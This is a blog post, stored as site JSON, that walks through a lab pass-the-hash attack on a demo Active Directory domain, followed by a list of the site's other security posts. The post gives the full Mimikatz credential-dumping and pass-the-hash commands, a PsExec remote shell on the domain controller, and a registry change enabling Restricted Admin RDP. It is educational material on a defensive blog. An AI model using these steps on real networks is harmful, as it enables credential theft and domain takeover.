[{"data":1,"prerenderedAt":664},["ShallowReactive",2],{"post-example-pass-the-hash-attack":3,"post-list":386},{"id":4,"title":5,"alsoIn":6,"body":7,"category":371,"date":372,"description":373,"draft":374,"extension":375,"image":376,"links":6,"meta":377,"navigation":378,"order":6,"path":379,"readingTime":366,"seo":380,"series":6,"stem":381,"strength":382,"tags":383,"unlisted":374,"updated":6,"__hash__":385},"posts\u002Fposts\u002Fexample-pass-the-hash-attack.md","Pass the Hash Attack Example",null,{"type":8,"value":9,"toc":365},"minimark",[10,15,19,23,26,29,32,35,38,48,51,58,61,66,69,74,77,82,85,90,93,98,101,106,109,114,117,120,125,128,138,143,146,164,170,175,178,184,189,192,197,200,206,209,214,217,222,225,230,233,238,241,247,252,255,318,323,326,332,337,340,345,348,353,356,361],[11,12,14],"h2",{"id":13},"foreword","Foreword",[16,17,18],"p",{},"In this blog entry, I would like to briefly show you a simple example of a pass-the-hash attack.",[11,20,22],{"id":21},"lets-begin","Let's begin",[16,24,25],{},"We still use the User \"alice.bob\" in this example.",[16,27,28],{},"The user is merely a domain user without any special AD group membership.",[16,30,31],{},"The user “alice.bob” has local administrator rights on the workstation on which the user is created.",[16,33,34],{},"These rights are generally required for such an attack.",[16,36,37],{},"In this example, I have simply added the user to the group manually. In the real world, you would have the following options:",[39,40,41,45],"ul",{},[42,43,44],"li",{},"Unfortunately, many companies still do not pay attention to security, or have outdated software, which is why normal domain users have local administrator rights. Unfortunately, I have seen this far too often in my career as an IT service provider. For this reason, this option is not as unlikely as you might think (unfortunately)",[42,46,47],{},"The other option would be to find a vulnerability on the system (unpatched programs, etc.) and thus exploit a privilege escalation",[16,49,50],{},"Overview of the User in Active Directory:",[16,52,53],{},[54,55],"img",{"alt":56,"src":57},"","\u002Fimages\u002Fposts\u002Fexample-pass-the-hash-attack\u002Fattachments\u002F2.webp",[16,59,60],{},"Group membership of the User in Active Directory:",[16,62,63],{},[54,64],{"alt":56,"src":65},"\u002Fimages\u002Fposts\u002Fexample-pass-the-hash-attack\u002Fattachments\u002F3.webp",[16,67,68],{},"Members of the local Administrators group:",[16,70,71],{},[54,72],{"alt":56,"src":73},"\u002Fimages\u002Fposts\u002Fexample-pass-the-hash-attack\u002Fattachments\u002F4.webp",[16,75,76],{},"We are now logged on to the test workstation with the user “alice.bob”.",[16,78,79],{},[54,80],{"alt":56,"src":81},"\u002Fimages\u002Fposts\u002Fexample-pass-the-hash-attack\u002Fattachments\u002F1.webp",[16,83,84],{},"To show that the user has no other rights, I test a login via RDP to the DC.",[16,86,87],{},[54,88],{"alt":56,"src":89},"\u002Fimages\u002Fposts\u002Fexample-pass-the-hash-attack\u002Fattachments\u002F5.webp",[16,91,92],{},"The c$ share is also not available.",[16,94,95],{},[54,96],{"alt":56,"src":97},"\u002Fimages\u002Fposts\u002Fexample-pass-the-hash-attack\u002Fattachments\u002F6.webp",[16,99,100],{},"I am also trying to open a Poweshell session to the DC. However, this also does not work due to missing rights.",[16,102,103],{},[54,104],{"alt":56,"src":105},"\u002Fimages\u002Fposts\u002Fexample-pass-the-hash-attack\u002Fattachments\u002F7.webp",[16,107,108],{},"Here is an overview of the groups in which the user “alice.bob” is a member.",[16,110,111],{},[54,112],{"alt":56,"src":113},"\u002Fimages\u002Fposts\u002Fexample-pass-the-hash-attack\u002Fattachments\u002F8.webp",[16,115,116],{},"In this example, I will use Mimikatz for the attack. Be careful when downloading and be sure to download Mimikatz from the official Github site. There are many fakes with possible malware.",[16,118,119],{},"Let's start Mimikatz.",[16,121,122],{},[54,123],{"alt":56,"src":124},"\u002Fimages\u002Fposts\u002Fexample-pass-the-hash-attack\u002Fattachments\u002F9.webp",[16,126,127],{},"I will enter the following command to log everything. I use the following command to log all output from Mimikatz in a TXT file. The TXT is created in the directory from which Mimikatz was started.",[129,130,135],"pre",{"className":131,"code":133,"language":134,"meta":56},[132],"language-text","log demo-passthehash.log\n","text",[136,137,133],"code",{"__ignoreMap":56},[16,139,140],{},[54,141],{"alt":56,"src":142},"\u002Fimages\u002Fposts\u002Fexample-pass-the-hash-attack\u002Fattachments\u002F10.webp",[16,144,145],{},"After that, I will enable the debug privilege using the following command.",[147,148,149],"blockquote",{},[16,150,151,155,156,159,160,163],{},[152,153,154],"strong",{},"Correction, October 2026:"," In the first version I wrote here that this command elevates my privileges. That is not right. Mimikatz already runs elevated at this point. ",[136,157,158],{},"privilege::debug"," only switches on ",[136,161,162],{},"SeDebugPrivilege",", which is already in the token but disabled.",[129,165,168],{"className":166,"code":167,"language":134,"meta":56},[132],"privilege::debug\n",[136,169,167],{"__ignoreMap":56},[16,171,172],{},[54,173],{"alt":56,"src":174},"\u002Fimages\u002Fposts\u002Fexample-pass-the-hash-attack\u002Fattachments\u002F11.webp",[16,176,177],{},"Now I will use the following command to display the stored user login informations.",[129,179,182],{"className":180,"code":181,"language":134,"meta":56},[132],"sekurlsa::logonpasswords\n",[136,183,181],{"__ignoreMap":56},[16,185,186],{},[54,187],{"alt":56,"src":188},"\u002Fimages\u002Fposts\u002Fexample-pass-the-hash-attack\u002Fattachments\u002F12.webp",[16,190,191],{},"We can find an entry for the domain administrator. The corresponding NTLM hash is displayed. Copy it.",[16,193,194],{},[54,195],{"alt":56,"src":196},"\u002Fimages\u002Fposts\u002Fexample-pass-the-hash-attack\u002Fattachments\u002F13.webp",[16,198,199],{},"We can now use the following command for a pass the hash attack.",[129,201,204],{"className":202,"code":203,"language":134,"meta":56},[132],"sekurlsa::pth \u002Fuser:Administrator \u002Fdomain:demo.nobrac.ch \u002Fntlm:f60d4512e66a84cd00127a50a1d26c79\n",[136,205,203],{"__ignoreMap":56},[16,207,208],{},"We can see the following output. In addition, a new CMD window will open.",[16,210,211],{},[54,212],{"alt":56,"src":213},"\u002Fimages\u002Fposts\u002Fexample-pass-the-hash-attack\u002Fattachments\u002F14.webp",[16,215,216],{},"New CMD window.",[16,218,219],{},[54,220],{"alt":56,"src":221},"\u002Fimages\u002Fposts\u002Fexample-pass-the-hash-attack\u002Fattachments\u002F15.webp",[16,223,224],{},"If we now check the user, we see that we are still the user “alice.bob”.",[16,226,227],{},[54,228],{"alt":56,"src":229},"\u002Fimages\u002Fposts\u002Fexample-pass-the-hash-attack\u002Fattachments\u002F16.webp",[16,231,232],{},"However, if we now try to access the c$ release of the domain controller, it works.",[16,234,235],{},[54,236],{"alt":56,"src":237},"\u002Fimages\u002Fposts\u002Fexample-pass-the-hash-attack\u002Fattachments\u002F17.webp",[16,239,240],{},"We can now use the “PsExec” tool to connect remotely to the domain controller. PsExec is not built into the operating system and can easily be downloaded directly from Microsoft.",[129,242,245],{"className":243,"code":244,"language":134,"meta":56},[132],"PsExec.exe \\\\10.101.199.10 cmd.exe\n",[136,246,244],{"__ignoreMap":56},[16,248,249],{},[54,250],{"alt":56,"src":251},"\u002Fimages\u002Fposts\u002Fexample-pass-the-hash-attack\u002Fattachments\u002F18.webp",[16,253,254],{},"We can then simply switch to Powershell. We can then set a registry entry so that we can connect via RDP.",[129,256,260],{"className":257,"code":258,"language":259,"meta":56,"style":56},"language-powershell shiki shiki-themes gruvbox-dark-medium","New-ItemProperty -Path \"HKLM:\\System\\CurrentControlSet\\Control\\Lsa\" -Name \"DisableRestrictedAdmin\" -Value \"0\" -PropertyType DWORD\n","powershell",[136,261,262],{"__ignoreMap":56},[263,264,267,271,275,279,283,287,289,291,294,296,299,301,303,306,308,311,313,315],"span",{"class":265,"line":266},"line",1,[263,268,270],{"class":269},"s59W0","New-ItemProperty",[263,272,274],{"class":273},"sM2RB"," -",[263,276,278],{"class":277},"sM0OT","Path ",[263,280,282],{"class":281},"svnLg","\"",[263,284,286],{"class":285},"sTqo2","HKLM:\\System\\CurrentControlSet\\Control\\Lsa",[263,288,282],{"class":281},[263,290,274],{"class":273},[263,292,293],{"class":277},"Name ",[263,295,282],{"class":281},[263,297,298],{"class":285},"DisableRestrictedAdmin",[263,300,282],{"class":281},[263,302,274],{"class":273},[263,304,305],{"class":277},"Value ",[263,307,282],{"class":281},[263,309,310],{"class":285},"0",[263,312,282],{"class":281},[263,314,274],{"class":273},[263,316,317],{"class":277},"PropertyType DWORD\n",[16,319,320],{},[54,321],{"alt":56,"src":322},"\u002Fimages\u002Fposts\u002Fexample-pass-the-hash-attack\u002Fattachments\u002F19.webp",[16,324,325],{},"We now perform another Pass the Hash attack and also start RDP with the “restrictedadmin” flag.",[129,327,330],{"className":328,"code":329,"language":134,"meta":56},[132],"sekurlsa::pth \u002Fuser:Administrator \u002Fdomain:demo.nobrac.ch \u002Fntlm:f60d4512e66a84cd00127a50a1d26c79 \u002Frun:\"mstsc.exe \u002Frestrictedadmin\"\n",[136,331,329],{"__ignoreMap":56},[16,333,334],{},[54,335],{"alt":56,"src":336},"\u002Fimages\u002Fposts\u002Fexample-pass-the-hash-attack\u002Fattachments\u002F20.webp",[16,338,339],{},"We see the following output and an RDP window also opens. If we now enter the host (in my case DEMO-DC), the user is entered automatically.",[16,341,342],{},[54,343],{"alt":56,"src":344},"\u002Fimages\u002Fposts\u002Fexample-pass-the-hash-attack\u002Fattachments\u002F21.webp",[16,346,347],{},"We accept the certificate warning.",[16,349,350],{},[54,351],{"alt":56,"src":352},"\u002Fimages\u002Fposts\u002Fexample-pass-the-hash-attack\u002Fattachments\u002F22.webp",[16,354,355],{},"We were able to successfully log in to the domain controller via RDP.",[16,357,358],{},[54,359],{"alt":56,"src":360},"\u002Fimages\u002Fposts\u002Fexample-pass-the-hash-attack\u002Fattachments\u002F23.webp",[362,363,364],"style",{},"html pre.shiki code .s59W0, html code.shiki .s59W0{--shiki-default:#FABD2F}html pre.shiki code .sM2RB, html code.shiki .sM2RB{--shiki-default:#8EC07C}html pre.shiki code .sM0OT, html code.shiki .sM0OT{--shiki-default:#EBDBB2}html pre.shiki code .svnLg, html code.shiki .svnLg{--shiki-default:#A89984}html pre.shiki code .sTqo2, html code.shiki .sTqo2{--shiki-default:#B8BB26}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":56,"searchDepth":366,"depth":366,"links":367},3,[368,370],{"id":13,"depth":369,"text":14},2,{"id":21,"depth":369,"text":22},"active-directory","2025-01-22","Example of a pass the hash attack",false,"md","\u002Fimages\u002Fposts\u002Fexample-pass-the-hash-attack\u002Fcover.webp",{},true,"\u002Fposts\u002Fexample-pass-the-hash-attack",{"title":5,"description":373},"posts\u002Fexample-pass-the-hash-attack","2",[384],"pass-the-hash","hPUSqvaXaeRa6bp8LmFAbp__Y-F_wz9bsLSqcTgWKCg",[387,401,412,422,430,437,446,454,460,468,474,484,491,499,501,507,514,520,526,534,546,553,561,567,574,580,586,593,599,605,611,617,624,630,636,644,651,658],{"path":388,"title":389,"description":390,"date":391,"category":392,"alsoIn":393,"series":6,"tags":395,"readingTime":400},"\u002Fposts\u002Fbarista","Barista: One Exe to Install Doppio and Ristretto","The 2FA series ends with two LSA components, an unsigned DLL in lsass and a dozen steps that have to happen in the right order. Barista is a wizard that does them one reboot at a time, from a single exe with every binary embedded and hash-checked.","2026-10-16","tools",[394],"windows",[394,396,397,398,399],"lsa","2fa","credential-provider","security",9,{"path":402,"title":403,"description":404,"date":405,"category":394,"alsoIn":406,"series":407,"tags":408,"readingTime":411},"\u002Fposts\u002Fwindows-2fa-gating-network-logons","Build Your Own 2FA for the Windows Logon, Part 3: Gating Network Logons","Part 2 refuses every network logon for an enrolled account, which makes the account safe and useless. Part 3 adds a gate you open once with a one-time code, so SMB, RPC and WinRM work again for a short window. In C++, with the full source.","2026-10-11",[392],"Doppio · 3-part series",[394,396,409,410,397,399],"ntlm","smb",35,{"path":413,"title":414,"description":415,"date":416,"category":392,"alsoIn":6,"series":6,"tags":417,"readingTime":421},"\u002Fposts\u002Fadhardenkit","ADHardenKit: Hardening AD Without Breaking It","LDAP signing, SMB signing, NTLM, Kerberos with AES only. Every hardening checklist has them. I wrote a tool that turns them on in an order that doesn't break the domain.","2026-10-07",[371,418,259,419,409,420],"windows-server","hardening","kerberos",5,{"path":423,"title":424,"description":425,"date":426,"category":392,"alsoIn":6,"series":6,"tags":427,"readingTime":429},"\u002Fposts\u002Fntlm-analyzer","NTLM-Analyzer: Find Out Who Still Uses NTLM","Windows logs a lot of NTLM activity, but you have to piece it together yourself. I built a tool that shows which users and programs still use NTLMv1 or NTLMv2, and what already runs over Kerberos.","2026-10-03",[371,409,420,428,418],"auditing",6,{"path":431,"title":432,"description":433,"date":434,"category":394,"alsoIn":6,"series":407,"tags":435,"readingTime":436},"\u002Fposts\u002Fwindows-2fa-inside-lsa","Build Your Own 2FA for the Windows Logon, Part 2: Inside LSA","The credential provider from Part 1 only sees the logon screen. Part 2 goes into LSA to close the paths it can't reach, with an authentication package and an MSV1_0 sub-authentication filter in C++.","2026-10-01",[394,398,396,397,399],32,{"path":438,"title":439,"description":440,"date":441,"category":394,"alsoIn":442,"series":407,"tags":443,"readingTime":445},"\u002Fposts\u002Fwindows-2fa-credential-provider","Build Your Own 2FA for the Windows Logon","How a Credential Provider works and how to build a working TOTP 2FA for local Windows accounts in C++. With rate limiting, replay protection and logging.","2026-09-30",[392],[394,398,397,444,399],"totp",60,{"path":447,"title":448,"description":449,"date":450,"category":392,"alsoIn":6,"series":6,"tags":451,"readingTime":366},"\u002Fposts\u002Fadtierkit-active-directory-tiering","ADTierKit: Automatic AD-Tiering","I got tired of building tier models by hand, so I wrote a tool for it. One PowerShell script, one JSON file.","2026-08-06",[371,418,259,452,453],"tiering","laps",{"path":455,"title":456,"description":457,"date":450,"category":371,"alsoIn":6,"series":6,"tags":458,"readingTime":459},"\u002Fposts\u002Fldap-ldaps-and-active-directory","The thing with LDAP, LDAPS and Active Directory","Why LDAPS rarely fixes what security reports worry about, why you can't just block port 389, and what actually protects LDAP in Active Directory.",[],11,{"path":461,"title":462,"description":463,"date":464,"category":465,"alsoIn":6,"series":6,"tags":466,"readingTime":366},"\u002Fposts\u002Finstall-tor-exit-node","Install Tor Exit Node","How to run a Tor exit node on an anonymously rented VPS: paying with Monero, picking the provider and the country, and installing and configuring Tor.","2025-09-30","linux",[467],"tor",{"path":469,"title":470,"description":471,"date":472,"category":371,"alsoIn":6,"series":6,"tags":473,"readingTime":266},"\u002Fposts\u002Fconfigure-kerberos-armoring","Configure Kerberos Armoring","Kerberos Armoring (FAST) protects the Kerberos exchange against offline brute force, replay and tampering. How to enable it in your domain with a GPO.","2025-07-28",[420],{"path":475,"title":476,"description":477,"date":478,"category":479,"alsoIn":6,"series":6,"tags":480,"readingTime":483},"\u002Fposts\u002Fexchange-2019-install","Installation guide for Exchange SE and Exchange 2019","Install Exchange Server Subscription Edition (SE) or Exchange Server 2019 step by step and harden it, with WAF rules on the Sophos XG, SPF, DMARC, DKIM and more. The installation is the same for both versions.","2025-06-26","exchange",[479,481,482],"exchange-se","exchange-2019",47,{"path":485,"title":486,"description":487,"date":488,"category":371,"alsoIn":6,"series":6,"tags":489,"readingTime":400},"\u002Fposts\u002Fhow-ntlm-works-active-directory","How NTLM works in Active Directory","How NTLM proves that you know a password without sending it, what the domain controller does, the difference between NTLMv1 and NTLMv2, and why Microsoft is phasing it out.","2025-05-07",[409,371,490],"authentication",{"path":492,"title":493,"description":494,"date":495,"category":371,"alsoIn":6,"series":6,"tags":496,"readingTime":498},"\u002Fposts\u002Fadfs-installation","ADFS Installation","Basic installation guide for Active Directory Federation Services","2025-01-27",[497],"adfs",4,{"path":379,"title":5,"description":373,"date":372,"category":371,"alsoIn":6,"series":6,"tags":500,"readingTime":366},[384],{"path":502,"title":503,"description":504,"date":505,"category":371,"alsoIn":6,"series":6,"tags":506,"readingTime":429},"\u002Fposts\u002Fhow-kerberos-works-active-directory","How Kerberos works in Active Directory","How Kerberos works in Active Directory, step by step: the TGT, the service ticket and the request to the service, and why no password crosses the network.","2025-01-16",[420],{"path":508,"title":509,"description":510,"date":511,"category":394,"alsoIn":6,"series":6,"tags":512,"readingTime":366},"\u002Fposts\u002Fconfigure-credential-guard-computer-accounts","Configure Credential Guard for Computer Accounts","Windows Server 2025 can move computer account passwords into Credential Guard. How to enable it by GPO, and why turning it off means a new domain join.","2025-01-15",[513],"credential-guard",{"path":515,"title":516,"description":517,"date":518,"category":394,"alsoIn":6,"series":6,"tags":519,"readingTime":498},"\u002Fposts\u002Fconfigure-credential-guard-windows","Configure Credential Guard","How Credential Guard shields NTLM hashes and Kerberos tickets, how to enable it by GPO on older clients and servers, and how to check that it runs.","2025-01-13",[513],{"path":521,"title":522,"description":523,"date":518,"category":394,"alsoIn":6,"series":6,"tags":524,"readingTime":366},"\u002Fposts\u002Fosconfig-windows-server-2025-security","OSConfig - Security Settings for Windows Server 2025","OSConfig applies Microsoft's recommended security settings on Windows Server 2025 without GPOs. Install the module, list templates, enable a baseline.",[525],"osconfig",{"path":527,"title":528,"description":529,"date":530,"category":394,"alsoIn":6,"series":6,"tags":531,"readingTime":366},"\u002Fposts\u002Fsecure-iis-modsecurity","Secure IIS with Modsecurity","Installation guide to secure IIS with Modsecurity","2025-01-12",[532,533],"iis","modsecurity",{"path":535,"title":536,"description":537,"date":538,"category":371,"alsoIn":6,"series":6,"tags":539,"readingTime":545},"\u002Fposts\u002Fvcsa-certificate-windows-pki","Issue VCSA Certificate with Windows PKI","Replace the self-signed vCenter (VCSA) certificate with a SubCA certificate from your Windows PKI, using the VCSA Certificate Manager and WinSCP.","2025-01-09",[540,541,542,543,544],"ad-cs","pki","vmware","vcsa","vcenter",10,{"path":547,"title":548,"description":549,"date":550,"category":371,"alsoIn":6,"series":6,"tags":551,"readingTime":552},"\u002Fposts\u002Fwindows-pki-installation","Installation guide for a Windows PKI","Step-by-step guide for a two-tier Windows PKI with root CA, sub CA and a separate CRL server, plus certificate templates, OCSP and web enrollment.","2024-12-20",[540,541],36,{"path":554,"title":555,"description":556,"date":557,"category":558,"alsoIn":6,"series":6,"tags":559,"readingTime":545},"\u002Fposts\u002Fhack-the-box-administrator","Hack The Box: Administrator","Walkthrough for the \"Administrator\" Hack the Box Challenge","2024-11-19","hack-the-box",[560,394,371],"writeup",{"path":562,"title":563,"description":564,"date":565,"category":371,"alsoIn":6,"series":6,"tags":566,"readingTime":369},"\u002Fposts\u002Fsecure-active-directory-part-1","Secure Active Directory - Part 1","Part 1 of the guide to a secure Active Directory","2024-09-09",[],{"path":568,"title":569,"description":570,"date":571,"category":558,"alsoIn":6,"series":6,"tags":572,"readingTime":573},"\u002Fposts\u002Fhack-the-box-greenhorn","Hack The Box: Greenhorn","Walkthrough for the \"Greenhorn\" Hack the Box Challenge","2024-07-24",[560,465],12,{"path":575,"title":576,"description":577,"date":578,"category":558,"alsoIn":6,"series":6,"tags":579,"readingTime":400},"\u002Fposts\u002Fhack-the-box-runner","Hack The Box: Runner","Walkthrough for the \"Runner\" Hack the Box Challenge","2024-07-20",[560,465],{"path":581,"title":582,"description":583,"date":584,"category":558,"alsoIn":6,"series":6,"tags":585,"readingTime":266},"\u002Fposts\u002Fhack-the-box-ghost","Hack The Box: Ghost","Walkthrough for the \"Ghost\" Hack the Box Challenge","2024-07-18",[560,394,371],{"path":587,"title":588,"description":589,"date":590,"category":558,"alsoIn":6,"series":6,"tags":591,"readingTime":592},"\u002Fposts\u002Fhack-the-box-knife","Hack The Box: Knife","Walkthrough for the \"Knife\" Hack the Box Challenge","2024-07-15",[560,465],7,{"path":594,"title":595,"description":596,"date":597,"category":558,"alsoIn":6,"series":6,"tags":598,"readingTime":366},"\u002Fposts\u002Fhack-the-box-broker","Hack The Box: Broker","Walkthrough for the \"Broker\" Hack the Box Challenge","2024-07-10",[560,465],{"path":600,"title":601,"description":602,"date":603,"category":558,"alsoIn":6,"series":6,"tags":604,"readingTime":266},"\u002Fposts\u002Fhack-the-box-permx","Hack The Box: PermX","Walkthrough zur \"PermX\" Hack the Box Challenge","2024-07-08",[560,465],{"path":606,"title":607,"description":608,"date":609,"category":558,"alsoIn":6,"series":6,"tags":610,"readingTime":366},"\u002Fposts\u002Fhack-the-box-lame","Hack The Box: Lame","Walkthrough zur \"Lame\" Hack the Box Challenge","2024-07-06",[560,465],{"path":612,"title":613,"description":614,"date":615,"category":558,"alsoIn":6,"series":6,"tags":616,"readingTime":498},"\u002Fposts\u002Fhack-the-box-analytics","Hack The Box: Analytics","Walkthrough zur \"Analytics\" Hack the Box Challenge","2024-06-30",[560,465],{"path":618,"title":619,"description":620,"date":621,"category":558,"alsoIn":6,"series":6,"tags":622,"readingTime":421},"\u002Fposts\u002Fhack-the-box-sense","Hack The Box: Sense","Walkthrough zur \"Sense\" Hack the Box Challenge","2024-06-28",[560,623],"freebsd",{"path":625,"title":626,"description":627,"date":628,"category":558,"alsoIn":6,"series":6,"tags":629,"readingTime":459},"\u002Fposts\u002Fhack-the-box-mailing","Hack The Box: Mailing","Walkthrough zur \"Mailing\" Hack the Box Challenge","2024-06-26",[560,394],{"path":631,"title":632,"description":633,"date":634,"category":558,"alsoIn":6,"series":6,"tags":635,"readingTime":366},"\u002Fposts\u002Fhack-the-box-jerry","Hack The Box: Jerry","Walkthrough zur \"Jerry\" Hack the Box Challenge","2024-06-20",[560,394],{"path":637,"title":638,"description":639,"date":640,"category":465,"alsoIn":6,"series":6,"tags":641,"readingTime":266},"\u002Fposts\u002Flinux-ssh-telegram-notifications","Setting up notifications via Telegram for SSH login\u002Flogoff","Get a Telegram message every time someone logs in to or out of your Linux server over SSH, with a Telegram bot, a small script and PAM.","2024-06-01",[642,643],"ssh","monitoring",{"path":645,"title":646,"description":647,"date":648,"category":558,"alsoIn":6,"series":6,"tags":649,"readingTime":650},"\u002Fposts\u002Fhack-the-box-forest","Hack The Box: Forest","Walkthrough zur \"Forest\" Hack the Box Challenge","2024-05-20",[560,394,371],16,{"path":652,"title":653,"description":654,"date":655,"category":479,"alsoIn":6,"series":6,"tags":656,"readingTime":266},"\u002Fposts\u002Fpowershell-connect-to-exchange-online","Verbindung zu Exchange Online mit Powershell","Wie man sich mit PowerShell mit Exchange Online verbindet: das Modul ExchangeOnlineManagement installieren, aktuell halten und die Verbindung herstellen.","2023-10-23",[657,259],"m365",{"path":659,"title":660,"description":661,"date":662,"category":479,"alsoIn":6,"series":6,"tags":663,"readingTime":266},"\u002Fposts\u002Fexchange-october-2023-updates","Exchange Server","Neue Sicherheitsupdates (Oktober 2023)","2023-10-18",[],1792195053516]